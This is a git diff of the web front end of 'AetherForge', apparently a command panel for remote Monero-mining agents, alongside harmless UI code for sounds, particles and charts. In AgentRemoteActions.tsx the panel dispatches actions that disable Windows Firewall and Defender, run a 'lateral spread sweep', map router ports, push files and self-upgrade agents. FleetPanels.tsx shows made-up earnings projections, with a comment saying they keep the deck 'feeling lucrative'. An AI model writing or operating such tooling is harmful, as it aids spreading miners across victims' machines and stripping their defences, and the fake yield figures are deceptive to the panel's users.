VPN chain sessions + startTrace: (agentIds: string[]) => + fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', { + method: 'POST', + body: JSON.stringify({ agent_ids: agentIds }), + }), + getTraceStatus: (id: string) => + fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`), + getTraceQR: (id: string) => + fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`), + deleteTrace: (id: string) => + fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }), + // Cancel an in-progress forge build by its cancel token. cancelBuild: (cancelToken: string) => fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, { method: 'DELETE', }), + + // Full deck backup — downloads a zip containing config.json, users.json, miner.db. + downloadBackup: async (): Promise => { + const res = await fetch(`${API_BASE}/backup`, { + method: 'GET', + headers: { ...authHeaders() }, + }); + if (!res.ok) { + const err = await res.text(); + throw new Error(`Backup failed ${res.status}: ${err}`); + } + const blob = await res.blob(); + const disposition = res.headers.get('Content-Disposition') ?? ''; + const match = disposition.match(/filename="([^"]+)"/); + const filename = match ? match[1] : 'aetherforge-backup.zip'; + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = filename; + a.click(); + URL.revokeObjectURL(url); + }, }; diff --git a/server/web/src/audio/hapticEngine.test.ts b/server/web/src/audio/hapticEngine.test.ts new file mode 100644 index 0000000..621308d --- /dev/null +++ b/server/web/src/audio/hapticEngine.test.ts @@ -0,0 +1,79 @@ +/** + * @vitest-environment happy-dom + */ +import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; +import { + HapticEngine, + loadSoundEnabled, + loadSoundVolume, + SFX_STORAGE_KEY, + SFX_VOLUME_KEY, +} from './hapticEngine'; + +describe('hapticEngine prefs', () => { + beforeEach(() => { + localStorage.clear(); + }); + + it('defaults sound on and volume ~0.4', () => { + expect(loadSoundEnabled()).toBe(true); + expect(loadSoundVolume()).toBeCloseTo(0.4); + }); + + it('persists enabled flag', () => { + const e = new HapticEngine(); + e.setEnabled(false); + expect(localStorage.getItem(SFX_STORAGE_KEY)).toBe('0'); + expect(loadSoundEnabled()).toBe(false); + }); + + it('clamps volume', () => { + const e = new HapticEngine(); + e.setVolume(2); + expect(e.getVolume()).toBe(1); + e.setVolume(-1); + expect(e.getVolume()).toBe(0); + expect(localStorage.getItem(SFX_VOLUME_KEY)).toBe('0'); + }); +}); + +describe('HapticEngine.play', () => { + const vibrate = vi.fn(); + + beforeEach(() => { + vibrate.mockClear(); + Object.defineProperty(navigator, 'vibrate', { + value: vibrate, + configurable: true, + writable: true, + }); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it('does not vibrate when disabled', () => { + const e = new HapticEngine(); + e.setEnabled(false); + e.play('click'); + expect(vibrate).not.toHaveBeenCalled(); + }); + + it('vibrates when enabled', () => { + const e = new HapticEngine(); + e.setEnabled(true); + e.play('success'); + expect(vibrate).toHaveBeenCalled(); + }); + + it('play does not throw without AudioContext', () => { + const prev = globalThis.AudioContext; + // @ts-expect-error test shim + delete globalThis.AudioContext; + const e = new HapticEngine(); + e.setEnabled(true); + expect(() => e.play('click')).not.toThrow(); + globalThis.AudioContext = prev; + }); +}); diff --git a/server/web/src/audio/hapticEngine.ts b/server/web/src/audio/hapticEngine.ts new file mode 100644 index 0000000..1d45548 --- /dev/null +++ b/server/web/src/audio/hapticEngine.ts @@ -0,0 +1,228 @@ +/** UI + fleet event cues — synthesized via Web Audio (no asset files). */ + +export type SoundCue = + | 'click' + | 'nav' + | 'success' + | 'error' + | 'alert' + | 'alertCritical' + | 'share' + | 'connect' + | 'disconnect' + | 'online' + | 'offline'; + +export const SFX_STORAGE_KEY = 'aetherforge-sfx'; +export const SFX_VOLUME_KEY = 'aetherforge-sfx-volume'; + +export function loadSoundEnabled(): boolean { + try { + const v = localStorage.getItem(SFX_STORAGE_KEY); + return v === null ? true : v === '1'; + } catch { + return true; + } +} + +export function loadSoundVolume(): number { + try { + const v = localStorage.getItem(SFX_VOLUME_KEY); + if (v === null) return 0.4; + const n = parseFloat(v); + return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.4; + } catch { + return 0.4; + } +} + +function persistEnabled(enabled: boolean) { + try { + localStorage.setItem(SFX_STORAGE_KEY, enabled ? '1' : '0'); + } catch { + /* ignore */ + } +} + +function persistVolume(volume: number) { + try { + localStorage.setItem(SFX_VOLUME_KEY, String(volume)); + } catch { + /* ignore */ + } +} + +const VIBRATE: Partial> = { + click: 8, + nav: 12, + success: [12, 40, 18], + error: [30, 50, 80], + alert: [20, 30, 20], + alertCritical: [40, 60, 40, 80], + share: 14, + connect: [10, 25], + disconnect: [35, 20], + online: [15, 35], + offline: [25, 15], +}; + +type ToneSpec = { + freq: number; + duration: number; + type?: OscillatorType; + gain?: number; + delay?: number; +}; + +function vibrateFor(cue: SoundCue) { + if (typeof navigator === 'undefined' || !navigator.vibrate) return; + const pattern = VIBRATE[cue]; + if (pattern !== undefined) navigator.vibrate(pattern); +} + +export class HapticEngine { + private ctx: AudioContext | null = null; + private enabled = loadSoundEnabled(); + private volume = loadSoundVolume(); + private unlocked = false; + + isEnabled() { + return this.enabled; + } + + getVolume() { + return this.volume; + } + + setEnabled(enabled: boolean) { + this.enabled = enabled; + persistEnabled(enabled); + } + + setVolume(volume: number) { + this.volume = Math.min(1, Math.max(0, volume)); + persistVolume(this.volume); + } + + /** Browsers require a user gesture before audio plays. */ + unlock() { + if (this.unlocked) return; + try { + const Ctx = + typeof window !== 'undefined' + ? window.AudioContext || + (window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext + : undefined; + if (!Ctx) return; + if (!this.ctx) this.ctx = new Ctx(); + if (this.ctx.state === 'suspended') void this.ctx.resume(); + this.unlocked = true; + } catch { + /* ignore */ + } + } + + play(cue: SoundCue) { + if (!this.enabled) return; + this.unlock(); + vibrateFor(cue); + const specs = cueSpecs(cue); + if (!specs.length) return; + try { + const Ctx = window.AudioContext || + (window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext; + if (!Ctx) return; + if (!this.ctx) this.ctx = new Ctx(); + const ctx = this.ctx; + if (ctx.state === 'suspended') void ctx.resume(); + const master = ctx.createGain(); + master.gain.value = this.volume; + master.connect(ctx.destination); + const now = ctx.currentTime; + for (const spec of specs) { + this.scheduleTone(ctx, master, spec, now); + } + } catch { + /* Audio blocked or unavailable */ + } + } + + private scheduleTone(ctx: AudioContext, dest: GainNode, spec: ToneSpec, base: number) { + const osc = ctx.createOscillator(); + const g = ctx.createGain(); + const t0 = base + (spec.delay ?? 0); + const dur = spec.duration; + const peak = (spec.gain ?? 0.12) * this.volume; + osc.type = spec.type ?? 'sine'; + osc.frequency.setValueAtTime(spec.freq, t0); + g.gain.setValueAtTime(0.0001, t0); + g.gain.exponentialRampToValueAtTime(Math.max(peak, 0.0001), t0 + 0.008); + g.gain.exponentialRampToValueAtTime(0.0001, t0 + dur); + osc.connect(g); + g.connect(dest); + osc.start(t0); + osc.stop(t0 + dur + 0.02); + } +} + +function cueSpecs(cue: SoundCue): ToneSpec[] { + switch (cue) { + case 'click': + return [{ freq: 920, duration: 0.04, type: 'square', gain: 0.06 }]; + case 'nav': + return [ + { freq: 440, duration: 0.05, gain: 0.07 }, + { freq: 660, duration: 0.06, delay: 0.04, gain: 0.06 }, + ]; + case 'success': + return [ + { freq: 523, duration: 0.08, gain: 0.1 }, + { freq: 784, duration: 0.1, delay: 0.07, gain: 0.09 }, + ]; + case 'error': + return [ + { freq: 180, duration: 0.12, type: 'sawtooth', gain: 0.11 }, + { freq: 140, duration: 0.14, delay: 0.1, type: 'sawtooth', gain: 0.09 }, + ]; + case 'alert': + return [ + { freq: 740, duration: 0.07, type: 'triangle', gain: 0.09 }, + { freq: 620, duration: 0.08, delay: 0.09, type: 'triangle', gain: 0.08 }, + ]; + case 'alertCritical': + return [ + { freq: 880, duration: 0.06, type: 'square', gain: 0.1 }, + { freq: 660, duration: 0.06, delay: 0.07, type: 'square', gain: 0.1 }, + { freq: 440, duration: 0.1, delay: 0.14, type: 'square', gain: 0.11 }, + ]; + case 'share': + return [ + { freq: 1200, duration: 0.05, gain: 0.08 }, + { freq: 1600, duration: 0.06, delay: 0.05, gain: 0.07 }, + ]; + case 'connect': + return [ + { freq: 330, duration: 0.07, gain: 0.08 }, + { freq: 495, duration: 0.09, delay: 0.06, gain: 0.08 }, + ]; + case 'disconnect': + return [ + { freq: 400, duration: 0.1, gain: 0.08 }, + { freq: 260, duration: 0.12, delay: 0.08, gain: 0.07 }, + ]; + case 'online': + return [ + { freq: 587, duration: 0.07, gain: 0.08 }, + { freq: 880, duration: 0.09, delay: 0.06, gain: 0.07 }, + ]; + case 'offline': + return [ + { freq: 440, duration: 0.09, gain: 0.07 }, + { freq: 330, duration: 0.1, delay: 0.07, gain: 0.06 }, + ]; + default: + return []; + } +} + +export const hapticEngine = new HapticEngine(); diff --git a/server/web/src/components/Ambient/AmbientBackground.tsx b/server/web/src/components/Ambient/AmbientBackground.tsx index 16b9089..22afca7 100644 --- a/server/web/src/components/Ambient/AmbientBackground.tsx +++ b/server/web/src/components/Ambient/AmbientBackground.tsx @@ -1,70 +1,17 @@ +import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs'; +import GlowParticles from './GlowParticles'; import './AmbientBackground.css'; /** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */ function SacredGeometry() { - const cx = 50; - const cy = 50; - const R = 32; // outer circle radius - - // Six-petal Flower of Life petal centres (offset by R from centre) - const petalAngles = [0, 60, 120, 180, 240, 300]; - const petals = petalAngles.map((deg) => { - const rad = (deg * Math.PI) / 180; - return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) }; - }); - - // 5-pointed star vertices inscribed at radius R*1.15 - const starR = R * 1.15; - const starPts = Array.from({ length: 5 }, (_, i) => { - const rad = ((i * 72 - 90) * Math.PI) / 180; - return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) }; - }); - const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z'; - - // Inner triangles (upward + downward — Star of David inner ring) - const triR = R * 0.7; - const triUp = [0, 120, 240].map((d) => { - const rad = ((d - 90) * Math.PI) / 180; - return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`; - }).join(' '); - const triDown = [60, 180, 300].map((d) => { - const rad = ((d - 90) * Math.PI) / 180; - return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`; - }).join(' '); - - return ( - - - {/* Outer ring */} - - {/* Middle ring */} - - {/* Inner ring */} - - {/* Flower of Life petal circles */} - {petals.map((p, i) => ( - - ))} - {/* Pentagon star */} - - {/* Merkaba triangles */} - - - {/* Centre dot */} - - {/* Spoke lines to star points */} - {starPts.map((p, i) => ( - - ))} - - - ); + return ; } export default function AmbientBackground() { return (
+
@@ -72,6 +19,13 @@ export default function AmbientBackground() {
+
+
+ +
+
+ +
{/* Sacred geometry watermark — centre of the main content area */}
diff --git a/server/web/src/components/Ambient/GlowParticles.css b/server/web/src/components/Ambient/GlowParticles.css new file mode 100644 index 0000000..ba2244b --- /dev/null +++ b/server/web/src/components/Ambient/GlowParticles.css @@ -0,0 +1,115 @@ +.ambient-glow-canvas { + position: absolute; + inset: 0; + width: 100%; + height: 100%; + z-index: 1; + pointer-events: none; + opacity: 0.92; + mix-blend-mode: screen; +} + +/* Lightweight CSS sparkles — complements canvas, no extra JS cost */ +.ambient-css-sparkles { + position: absolute; + inset: 0; + z-index: 2; + pointer-events: none; + overflow: hidden; +} + +.ambient-sparkle { + position: absolute; + width: 3px; + height: 3px; + border-radius: 50%; + animation: ambient-sparkle-pulse 4s ease-in-out infinite; + box-shadow: + 0 0 6px 2px currentColor, + 0 0 14px 4px currentColor; +} + +.ambient-sparkle--1 { + color: rgba(201, 162, 39, 0.55); + top: 18%; + left: 22%; + animation-delay: 0s; +} +.ambient-sparkle--2 { + color: rgba(0, 245, 255, 0.45); + top: 72%; + left: 68%; + animation-delay: -1.2s; +} +.ambient-sparkle--3 { + color: rgba(255, 45, 166, 0.4); + top: 42%; + left: 85%; + animation-delay: -2.4s; +} +.ambient-sparkle--4 { + color: rgba(255, 176, 32, 0.5); + top: 58%; + left: 12%; + animation-delay: -3.1s; +} + +.ambient-sparkle:nth-child(5) { + top: 8%; + left: 55%; + color: rgba(0, 245, 255, 0.35); + animation-delay: -0.8s; +} +.ambient-sparkle:nth-child(6) { + top: 88%; + left: 38%; + color: rgba(201, 162, 39, 0.4); + animation-delay: -2s; +} +.ambient-sparkle:nth-child(7) { + top: 28%; + left: 78%; + color: rgba(255, 176, 32, 0.38); + animation-delay: -1.5s; +} +.ambient-sparkle:nth-child(8) { + top: 65%; + left: 48%; + color: rgba(255, 45, 166, 0.32); + animation-delay: -3.6s; +} +.ambient-sparkle:nth-child(9) { + top: 35%; + left: 8%; + color: rgba(0, 245, 255, 0.38); + animation-delay: -2.8s; +} +.ambient-sparkle:nth-child(10) { + top: 52%; + left: 92%; + color: rgba(201, 162, 39, 0.42); + animation-delay: -0.4s; +} + +@keyframes ambient-sparkle-pulse { + 0%, + 100% { + transform: scale(0.6); + opacity: 0.25; + } + 50% { + transform: scale(1.4); + opacity: 0.95; + } +} + +@media (prefers-reduced-motion: reduce) { + .ambient-glow-canvas { + opacity: 0.5; + } + .ambient-sparkle { + animation: none; + opacity: 0.35; + transform: scale(1); + } +} diff --git a/server/web/src/components/Ambient/GlowParticles.tsx b/server/web/src/components/Ambient/GlowParticles.tsx new file mode 100644 index 0000000..0873786 --- /dev/null +++ b/server/web/src/components/Ambient/GlowParticles.tsx @@ -0,0 +1,168 @@ +import { useEffect, useRef } from 'react'; +import { useIsMobileLayout } from '../../hooks/useMediaQuery'; +import { useVisualEffects } from '../../context/VisualEffectsContext'; +import './GlowParticles.css'; + +const PALETTE = [ + { core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' }, + { core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' }, + { core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' }, + { core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' }, +] as const; + +type Particle = { + x: number; + y: number; + vx: number; + vy: number; + r: number; + pulse: number; + pulseSpeed: number; + color: (typeof PALETTE)[number]; +}; + +function particleCount(mobile: boolean): number { + const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4; + if (cores <= 2) return mobile ? 18 : 28; + if (mobile) return 32; + return cores >= 8 ? 64 : 48; +} + +function initParticles(w: number, h: number, n: number): Particle[] { + const out: Particle[] = []; + for (let i = 0; i < n; i++) { + out.push({ + x: Math.random() * w, + y: Math.random() * h, + vx: (Math.random() - 0.5) * 0.35, + vy: (Math.random() - 0.5) * 0.35, + r: 1.2 + Math.random() * 2.2, + pulse: Math.random() * Math.PI * 2, + pulseSpeed: 0.008 + Math.random() * 0.012, + color: PALETTE[i % PALETTE.length], + }); + } + return out; +} + +function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) { + const glowR = p.r * (3.2 + Math.sin(p.pulse) * 0.8); + const g = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, glowR); + g.addColorStop(0, p.color.core); + g.addColorStop(0.35, p.color.mid); + g.addColorStop(1, 'transparent'); + ctx.save(); + ctx.globalAlpha = alpha; + ctx.fillStyle = g; + ctx.beginPath(); + ctx.arc(p.x, p.y, glowR, 0, Math.PI * 2); + ctx.fill(); + ctx.restore(); +} + +/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */ +export default function GlowParticles() { + const canvasRef = useRef(null); + const particlesRef = useRef([]); + const rafRef = useRef(0); + const isMobile = useIsMobileLayout(); + const { glowParticles } = useVisualEffects(); + + useEffect(() => { + if (!glowParticles) return; + + const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches; + const canvas = canvasRef.current; + if (!canvas) return; + const ctx = canvas.getContext('2d'); + if (!ctx) return; + + const linkDist = isMobile ? 90 : 130; + const linkDistSq = linkDist * linkDist; + + const resize = () => { + const dpr = Math.min(window.devicePixelRatio || 1, 2); + const w = window.innerWidth; + const h = window.innerHeight; + canvas.width = Math.floor(w * dpr); + canvas.height = Math.floor(h * dpr); + canvas.style.width = `${w}px`; + canvas.style.height = `${h}px`; + ctx.setTransform(dpr, 0, 0, dpr, 0, 0); + particlesRef.current = initParticles(w, h, particleCount(isMobile)); + }; + + resize(); + window.addEventListener('resize', resize); + + const tick = () => { + if (document.hidden) { + rafRef.current = requestAnimationFrame(tick); + return; + } + + const w = canvas.clientWidth; + const h = canvas.clientHeight; + ctx.clearRect(0, 0, w, h); + + const pts = particlesRef.current; + if (!reducedMotion) { + for (const p of pts) { + p.x += p.vx; + p.y += p.vy; + p.pulse += p.pulseSpeed; + if (p.x < -20) p.x = w + 20; + if (p.x > w + 20) p.x = -20; + if (p.y < -20) p.y = h + 20; + if (p.y > h + 20) p.y = -20; + } + } + + for (let i = 0; i < pts.length; i++) { + for (let j = i + 1; j < pts.length; j++) { + const dx = pts[i].x - pts[j].x; + const dy = pts[i].y - pts[j].y; + const d2 = dx * dx + dy * dy; + if (d2 < linkDistSq) { + const t = 1 - Math.sqrt(d2) / linkDist; + ctx.strokeStyle = pts[i].color.line; + ctx.globalAlpha = t * 0.35; + ctx.lineWidth = 0.6; + ctx.beginPath(); + ctx.moveTo(pts[i].x, pts[i].y); + ctx.lineTo(pts[j].x, pts[j].y); + ctx.stroke(); + } + } + } + ctx.globalAlpha = 1; + + for (const p of pts) { + const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25; + drawGlow(ctx, p, twinkle); + } + + rafRef.current = requestAnimationFrame(tick); + }; + + rafRef.current = requestAnimationFrame(tick); + + return () => { + window.removeEventListener('resize', resize); + cancelAnimationFrame(rafRef.current); + }; + }, [glowParticles, isMobile]); + + if (!glowParticles) return null; + + return ( + <> + +
+ {Array.from({ length: isMobile ? 6 : 10 }, (_, i) => ( + + ))} +
+ + ); +} diff --git a/server/web/src/components/Charts/HashrateChart.tsx b/server/web/src/components/Charts/HashrateChart.tsx index a79ab48..07578d0 100644 --- a/server/web/src/components/Charts/HashrateChart.tsx +++ b/server/web/src/components/Charts/HashrateChart.tsx @@ -7,6 +7,11 @@ import { XAxis, YAxis, } from 'recharts'; +import { + chartSeriesDelta, + chartSeriesPeak, + type ChartDisplayMode, +} from '../../help/chartSampleData'; import './HashrateChart.css'; export interface ChartPoint { @@ -21,6 +26,7 @@ interface HashrateChartProps { color?: string; unit?: string; height?: number; + displayMode?: ChartDisplayMode; } const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const; @@ -39,25 +45,42 @@ export default function HashrateChart({ color = '#00f5ff', unit = 'H/s', height = 280, + displayMode = 'live', }: HashrateChartProps) { const gradId = colorToId(color); + const peak = chartSeriesPeak(data); + const delta = chartSeriesDelta(data); + const liveLabel = + displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION'; + const liveClass = + displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample'; if (data.length === 0) { return ( -
+

{title || 'Telemetry'}

- Awaiting signal from fleet... + Calibrating chart telemetry…
); } return ( -
+
{title && (

{title}

- ● LIVE +
+ + PEAK {formatFull(peak, unit)} + + {delta != null && ( + = 0 ? 'up' : 'down'}`}> + {delta >= 0 ? '▲' : '▼'} {Math.abs(delta).toFixed(1)}% + + )} + {liveLabel} +
)} diff --git a/server/web/src/components/Fleet/AgentRemoteActions.tsx b/server/web/src/components/Fleet/AgentRemoteActions.tsx index 27449e2..642e232 100644 --- a/server/web/src/components/Fleet/AgentRemoteActions.tsx +++ b/server/web/src/components/Fleet/AgentRemoteActions.tsx @@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext'; import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions'; import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload'; import { formatHashrate } from '../../help/fleetFilters'; +import { pushFileToAgentDesktop } from '../../help/desktopPush'; +import { parseFullSysCheckMessage } from '../../types/syscheck'; +import type { FullSysCheckReport } from '../../types/syscheck'; +import FullSysCheckPanel from './FullSysCheckPanel'; import './AgentRemoteActions.css'; +import './FullSysCheckPanel.css'; const TERMINAL_MAX_LINES = 500; @@ -49,6 +54,7 @@ export default function AgentRemoteActions({ const [busy, setBusy] = useState(null); const [wolMac, setWolMac] = useState(''); const [wolExpanded, setWolExpanded] = useState(false); + const [sysCheckReport, setSysCheckReport] = useState(null); // Fleet upgrade const [builds, setBuilds] = useState([]); const [selectedBuildId, setSelectedBuildId] = useState(''); @@ -133,7 +139,20 @@ export default function AgentRemoteActions({ const { agent_id, action, success, message } = payload; if (agentId && agentId !== 'all' && agent_id !== agentId) continue; - if (action === 'screenshot') { + if (action === 'full_sys_check') { + if (success && message) { + const parsed = parseFullSysCheckMessage(message); + if (parsed) { + setSysCheckReport(parsed); + addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`); + } else { + addLog('✗ [FULL_SYS_CHECK] could not parse report JSON'); + } + } else { + addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`); + setSysCheckReport(null); + } + } else if (action === 'screenshot') { const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent'); if (success && message) { const clean = sanitizeScreenshotBase64(message); @@ -146,12 +165,14 @@ export default function AgentRemoteActions({ } else { addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`); } - } else if (action) { + } else if (action && action !== 'full_sys_check') { const icon = success ? '✓' : '✗'; - addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`); + const preview = + message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? ''; + addLog(`${icon} [${action.toUpperCase()}]\n${preview}`); } } - }, [commandResults, agentId, addLog]); + }, [commandResults, agentId, addLog, agentNameProp, agent?.name]); const dispatch = async (action: string, args: Record = {}) => { if (!agentId) { @@ -169,7 +190,14 @@ export default function AgentRemoteActions({ if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return; if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return; if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return; + if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return; + if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return; + if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return; if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return; + if (action === 'full_sys_check') { + setSysCheckReport(null); + addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`); + } // WOL is handled server-side (no agent connection needed) if (action === 'wol') { @@ -218,21 +246,28 @@ export default function AgentRemoteActions({ setIsDragging(true); }; const handleDragLeave = () => setIsDragging(false); + const pushDesktopFile = async (file: File) => { + try { + await pushFileToAgentDesktop( + (action, args) => dispatch(action, args), + file + ); + } catch (err) { + addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`); + } + }; + const handleDrop = (e: React.DragEvent) => { e.preventDefault(); e.stopPropagation(); setIsDragging(false); const file = e.dataTransfer.files[0]; if (!file) return; - const reader = new FileReader(); - reader.onload = async (evt) => { - const base64 = (evt.target?.result as string).split(',')[1]; - const targetPath = `C:\\Windows\\Temp\\${file.name}`; - await dispatch('upload', { path: targetPath, data: base64 }); - }; - reader.readAsDataURL(file); + void pushDesktopFile(file); }; + const desktopFileInputRef = useRef(null); + const runCustomCommand = (e: React.FormEvent) => { e.preventDefault(); if (!customCmd.trim()) return; @@ -294,6 +329,15 @@ export default function AgentRemoteActions({ + @@ -425,6 +469,60 @@ export default function AgentRemoteActions({ > Open FW Port + + + + + +
+ {sysCheckReport && !compact && ( + setSysCheckReport(null)} + /> + )} + {screenshotData && (
@@ -502,7 +608,26 @@ export default function AgentRemoteActions({ > 📥

Drag & Drop file here

- Uploads to C:\Windows\Temp\ + Pushes to user Desktop (any OS) + + { + const file = e.target.files?.[0]; + if (file) void pushDesktopFile(file); + e.target.value = ''; + }} + />
diff --git a/server/web/src/components/Fleet/FleetPanels.tsx b/server/web/src/components/Fleet/FleetPanels.tsx index 2858106..27889cb 100644 --- a/server/web/src/components/Fleet/FleetPanels.tsx +++ b/server/web/src/components/Fleet/FleetPanels.tsx @@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics'; import { timeToPayout } from '../../help/fleetAnalytics'; import { formatHashrate } from '../../help/fleetFilters'; +import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData'; import './FleetPanels.css'; export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) { @@ -173,6 +174,26 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm ); } +/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */ +export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) { + const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice; + const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay; + const usdDay = xmrDay * price; + + return ( + +
PROJECTED YIELD
+
Target Fleet Earnings
+
~{xmrDay.toFixed(4)} XMR/day
+
≈ ${usdDay.toFixed(2)}/day
+
At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target
+
+ Deploy miners to replace projection with live pool data +
+
+ ); +} + // ─── Fleet Health Card ──────────────────────────────────────────────────────── export function FleetHealthCard({ health }: { health: FleetHealth }) { @@ -210,20 +231,24 @@ export function ContributionBars({ bars, xmrPerDay, xmrPrice, + sample = false, }: { bars: ContributionBar[]; xmrPerDay?: number; xmrPrice?: number | null; + sample?: boolean; }) { if (bars.length === 0) return null; return ( - +

Contribution Map

- Each bar shows a machine's share of total fleet hashrate. + {sample + ? 'Sample contribution map — your rigs will populate this lane when they connect.' + : "Each bar shows a machine's share of total fleet hashrate."}

{bars.map((b) => { diff --git a/server/web/src/components/Fleet/FullSysCheckPanel.css b/server/web/src/components/Fleet/FullSysCheckPanel.css new file mode 100644 index 0000000..44447c1 --- /dev/null +++ b/server/web/src/components/Fleet/FullSysCheckPanel.css @@ -0,0 +1,141 @@ +.syscheck-panel { + margin-top: 1rem; + padding: 1rem 1.1rem; + border: 1px solid rgba(0, 245, 255, 0.25); + border-radius: 8px; + background: rgba(8, 12, 24, 0.92); + max-height: 72vh; + overflow: auto; +} + +.syscheck-header { + display: flex; + justify-content: space-between; + align-items: flex-start; + gap: 1rem; + margin-bottom: 1rem; + border-bottom: 1px solid rgba(201, 162, 39, 0.2); + padding-bottom: 0.75rem; +} + +.syscheck-header h3 { + margin: 0; + color: var(--accent-cyan, #00f5ff); +} + +.syscheck-sub { + margin: 0.25rem 0 0; + font-size: 0.75rem; + color: var(--clr-dim, #888); +} + +.syscheck-grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(280px, 1fr)); + gap: 1rem; +} + +.syscheck-section { + border: 1px solid rgba(255, 255, 255, 0.06); + border-radius: 6px; + padding: 0.65rem 0.75rem; + background: rgba(0, 0, 0, 0.25); +} + +.syscheck-section-title { + margin: 0 0 0.5rem; + font-size: 0.72rem; + letter-spacing: 0.12em; + color: var(--accent-gold, #c9a227); + text-transform: uppercase; +} + +.syscheck-kv { + display: grid; + grid-template-columns: 110px 1fr; + gap: 0.35rem 0.5rem; + margin-bottom: 0.35rem; + font-size: 0.8rem; +} + +.syscheck-k { + color: var(--clr-dim, #888); +} + +.syscheck-v { + color: #e8e8f0; + word-break: break-word; +} + +.syscheck-ok { + color: #4ade80; +} +.syscheck-bad { + color: #f87171; +} +.syscheck-muted { + color: #777; + font-size: 0.78rem; +} +.syscheck-score { + color: #00f5ff; + font-weight: 600; +} +.syscheck-subhead { + margin-top: 0.5rem; + font-size: 0.7rem; + text-transform: uppercase; + letter-spacing: 0.08em; +} + +.syscheck-pre { + margin: 0.35rem 0 0.5rem; + padding: 0.5rem; + background: rgba(0, 0, 0, 0.45); + border-radius: 4px; + font-size: 0.72rem; + max-height: 160px; + overflow: auto; + white-space: pre-wrap; + color: #bbb; +} + +.syscheck-table-wrap { + overflow-x: auto; + margin-top: 0.35rem; +} + +.syscheck-table { + width: 100%; + font-size: 0.72rem; + border-collapse: collapse; +} + +.syscheck-table th, +.syscheck-table td { + padding: 0.2rem 0.35rem; + border-bottom: 1px solid #222; + text-align: left; +} + +.syscheck-iface { + margin-bottom: 0.5rem; + font-size: 0.78rem; +} + +.syscheck-raw { + margin-top: 1rem; + font-size: 0.8rem; +} + +.syscheck-raw summary { + cursor: pointer; + color: var(--accent-gold, #c9a227); + margin-bottom: 0.5rem; 